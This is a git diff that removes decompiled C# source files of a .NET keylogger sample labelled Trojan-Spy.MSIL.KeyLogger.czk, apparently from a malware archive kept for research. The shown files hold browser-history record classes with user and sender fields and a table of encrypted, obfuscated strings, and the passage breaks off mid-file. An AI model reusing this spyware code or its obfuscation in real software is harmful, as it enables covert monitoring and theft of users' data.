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 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙂ.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙂ.cs deleted file mode 100644 index b7a00712..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙂ.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ᙂ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -internal interface ᙂ -{ - void Write(string url); - - string getBrowser(); -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙄ.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙄ.cs deleted file mode 100644 index 0f26a37d..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙄ.cs +++ /dev/null @@ -1,164 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ᙄ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using System; -using System.Runtime.Serialization; - -[Serializable] -internal class ᙄ : ISerializable, IDisposable -{ - private int ᡆᙃ; - private string ᡇᙃ; - private DateTime ᡈᙃ; - private string ᡉᙃ; - private string ᡊᙃ; - - public int ID - { - get - { - do - ; - while (false); - return this.ᡆᙃ; - } - set - { - do - ; - while (false); - this.ᡆᙃ = value; - } - } - - public string URL - { - get - { - do - ; - while (false); - return this.ᡇᙃ; - } - set - { - do - ; - while (false); - this.ᡇᙃ = value; - } - } - - public DateTime DATE - { - get - { - do - ; - while (false); - return this.ᡈᙃ; - } - set - { - do - ; - while (false); - this.ᡈᙃ = value; - } - } - - public string USER - { - get - { - do - ; - while (false); - return this.ᡉᙃ; - } - set - { - do - ; - while (false); - this.ᡉᙃ = value; - } - } - - public string SENDER - { - get - { - do - ; - while (false); - return this.ᡊᙃ; - } - set - { - do - ; - while (false); - this.ᡊᙃ = value; - } - } - - public ᙄ() - { - do - ; - while (false); - // ISSUE: explicit constructor call - base.\u002Ector(); - } - - public ᙄ(int _id, string _url, DateTime _date, string _user, string _sender) - { - do - ; - while (false); - // ISSUE: explicit constructor call - base.\u002Ector(); - this.ᡆᙃ = _id; - this.ᡇᙃ = _url; - this.ᡈᙃ = _date; - this.ᡉᙃ = _user; - this.ᡊᙃ = _sender; - } - - public ᙄ(SerializationInfo info, StreamingContext ctxt) - { - do - ; - while (false); - // ISSUE: explicit constructor call - base.\u002Ector(); - this.ᡆᙃ = (int) info.GetValue("id", typeof (int)); - this.ᡇᙃ = (string) info.GetValue("url", typeof (string)); - this.ᡈᙃ = (DateTime) info.GetValue("date", typeof (DateTime)); - this.ᡉᙃ = (string) info.GetValue("user", typeof (string)); - this.ᡊᙃ = (string) info.GetValue("sender", typeof (string)); - } - - public void GetObjectData(SerializationInfo info, StreamingContext ctxt) - { - do - ; - while (false); - info.AddValue("id", this.ᡆᙃ); - info.AddValue("url", (object) this.ᡇᙃ); - info.AddValue("date", this.ᡈᙃ); - info.AddValue("user", (object) this.ᡉᙃ); - info.AddValue("sender", (object) this.ᡊᙃ); - } - - public void Dispose() - { - do - ; - while (false); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙆ.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙆ.cs deleted file mode 100644 index 1d52152f..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙆ.cs +++ /dev/null @@ -1,60 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ᙆ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using System; -using System.Collections.Generic; -using System.Runtime.Serialization; - -[Serializable] -internal class ᙆ -{ - private List<ᙄ> ᡆᙃ; - - public ᙆ() - { - do - ; - while (false); - // ISSUE: explicit constructor call - base.\u002Ector(); - } - - public ᙆ(SerializationInfo info, StreamingContext ctxt) - { - do - ; - while (false); - // ISSUE: explicit constructor call - base.\u002Ector(); - this.ᡆᙃ = (List<ᙄ>) info.GetValue("BrowserEntry", typeof (List<ᙄ>)); - } - - public void ᙎ(SerializationInfo info, StreamingContext ctxt) - { - do - ; - while (false); - info.AddValue("BrowserList", (object) this.ᡆᙃ); - } - - public List<ᙄ> ᙈ - { - get - { - do - ; - while (false); - return this.ᡆᙃ; - } - set - { - do - ; - while (false); - this.ᡆᙃ = value; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙖ.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙖ.cs deleted file mode 100644 index f9b4a597..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙖ.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ᙖ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -internal static class ᙖ -{ -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙵ.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙵ.cs deleted file mode 100644 index 0ca068dd..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙵ.cs +++ /dev/null @@ -1,1365 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ᙵ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.IO; -using System.Security.Cryptography; -using System.Text; - -public class ᙵ -{ - public static string ᙃ = "2SVGdOJH0YOs7PiZV17FG0DLm4S3yRPA"; - public static string ᙂ = global::ᙵ.ᙵ(global::ᙵ.ᙃ); - public static string ᙅ = "frTdSffin4W/Yj0QjKjWEBSaGgWDljvM"; - public static string ᙄ = global::ᙵ.ᙵ(global::ᙵ.ᙅ); - public static string ᙇ = "HUAdwNeJbaKdM1MrVAc8jYE2pqnQAdMGnMjPD3Ikfv8="; - public static string ᙆ = global::ᙵ.ᙵ(global::ᙵ.ᙇ); - public static string ᙉ = "biJAzZ1X9WE+r5wgbDT6eD94bxmO2k77"; - public static string ᙈ = global::ᙵ.ᙵ(global::ᙵ.ᙉ); - public static string ᙋ = "1N/Br/Q8FIfnhjzey7GtHXbmz92Mmx/5"; - public static string ᙊ = global::ᙵ.ᙵ(global::ᙵ.ᙋ); - public static string ᙍ = "n10E1rH+uiIcg9+H4WonDw=="; - public static string ᙘ = global::ᙵ.ᙵ(global::ᙵ.ᙍ); - public static string ᙏ = "1jqVxTV+J7+hsiOBwQObibFrYS+cFfw4aCOVJSBeBmY/pwbi++ftMwhkpdFzX7Rl"; - public static string ᙎ = global::ᙵ.ᙵ(global::ᙵ.ᙏ); - public static string ᙑ = "iJfDV4vUcLR9fj2obxZLW9V4y6bONL6y"; - public static string ᙾ = global::ᙵ.ᙵ(global::ᙵ.ᙑ); - public static string ᙓ = "biJAzZ1X9WE+r5wgbDT6eD94bxmO2k77"; - public static string ᙒ = global::ᙵ.ᙵ(global::ᙵ.ᙓ); - public static string ᙕ = "6TunlkUjv+J/TQxbAzoooUL98f04KvY4hPR2K91r39yR2+xuv2RN1YMs0+XMjXOW"; - public static string ᙔ = global::ᙵ.ᙵ(global::ᙵ.ᙕ); - public static string ᙗ = "+L4IzckanuspDGKJ4KOfTr5Ez05mERb0IZCTkWaIqvA="; - public static string ᙖ = global::ᙵ.ᙵ(global::ᙵ.ᙗ); - public static string ᙳ = "y9EPlqWBWkiANx5+he8GWQ=="; - public static string ᙀ = global::ᙵ.ᙵ(global::ᙵ.ᙳ); - public static string ᙛ = "KKa+j5uWJ2jW1G4UFgDNo0YKwKdXb12XtpFaV3NakNFo5waWts9spw=="; - public static string ᙚ = global::ᙵ.ᙵ(global::ᙵ.ᙛ); - public static string ᙝ = "KSddDkJIxM2KSGfcxjDVYew+xG17SXOC"; - public static string ᙙ = global::ᙵ.ᙵ(global::ᙵ.ᙝ); - public static string ᙟ = "GbndmbCq2g3XVXrKvfGnog=="; - public static string ᙞ = global::ᙵ.ᙵ(global::ᙵ.ᙟ); - public static string ᙡ = "KSddDkJIxM2KSGfcxjDVYTYPJIJU+iGW"; - public static string ᙠ = global::ᙵ.ᙵ(global::ᙵ.ᙡ); - public static string ᙣ = "/CcjBvaoE8c8DKrMQQfP2X05wb2qpA8ZI1GirNx3t7bUOwEWgYqpFU6gnSYY6kxz"; - public static string ᙢ = global::ᙵ.ᙵ(global::ᙵ.ᙣ); - public static string ᙥ = "r0fxg7On8NJEdeDSx1S8cQ=="; - public static string ᙤ = global::ᙵ.ᙵ(global::ᙵ.ᙥ); - public static string ᙧ = "i5J/sF3iHT2sUDaa8kYSz0G1hV1uQUbvn0BjLe3jgsyojQeOk7v94DLR+THbAtWNcq7L+dOEGvzspKP1Is99blRDcJPExAjWHXNzOFFyRWE="; - public static string ᙦ = global::ᙵ.ᙵ(global::ᙵ.ᙧ); - public static string ᙩ = "/CcjBvaoE8c8DKrMQQfP2X05wb2qpA8ZI1GirNx3t7bUOwEWgYqpFU6gnSYY6kxz"; - public static string ᙨ = global::ᙵ.ᙵ(global::ᙵ.ᙩ); - public static string ᙫ = "r0fxg7On8NJavEOrTI4ixw=="; - public static string ᙪ = global::ᙵ.ᙵ(global::ᙵ.ᙫ); - public static string \u166D = "bSg04vEMxVxfRkin3jEdENYvkLdEica/6IG5rrPvqO27gHPJ9AUmlV8j45xkqXWuMTKcilIjpIg+qhhL5+dVgA=="; - public static string ᙬ = global::ᙵ.ᙵ(global::ᙵ.\u166D); - public static string ᙯ = "/CcjBvaoE8c8DKrMQQfP2X05wb2qpA8ZI1GirNx3t7bUOwEWgYqpFU6gnSYY6kxz"; - public static string \u166E = global::ᙵ.ᙵ(global::ᙵ.ᙯ); - public static string ᙱ = "r0fxg7On8NLclyWO4HzqZA=="; - public static string ᙰ = global::ᙵ.ᙵ(global::ᙵ.ᙱ); - public static string \u1775 = "kYQ7ph5+kDAQTRqc9ddf8exa88bNad+bDA2kUsLhMy/cREZLytTM5iNGMX7bX7Nag0jJe9m0/RY="; - public static string ᙲ = global::ᙵ.ᙵ(global::ᙵ.\u1775); - public static string ᝃ = "r0fxg7On8NKYyzp2Tqg36Q=="; - public static string ᝂ = global::ᙵ.ᙵ(global::ᙵ.ᝃ); - public static string ᝅ = "1wmZG7G/CSHWf7QGaAbXag=="; - public static string ᝄ = global::ᙵ.ᙵ(global::ᙵ.ᝅ); - public static string ᝇ = "63/MMP/cew4WfkaFpcovL9NaoyfnP5GH"; - public static string ᝆ = global::ᙵ.ᙵ(global::ᙵ.ᝇ); - public static string ᝉ = "KSddDkJIxM2KSGfcxjDVYew+xG17SXOC"; - public static string ᝈ = global::ᙵ.ᙵ(global::ᙵ.ᝉ); - public static string ᝋ = "Jujgd+E0veazL6heBBSvPg=="; - public static string ᝊ = global::ᙵ.ᙵ(global::ᙵ.ᝋ); - public static string ᝍ = "r0fxg7On8NJEdeDSx1S8cQ=="; - public static string \u1758 = global::ᙵ.ᙵ(global::ᙵ.ᝍ); - public static string ᝏ = 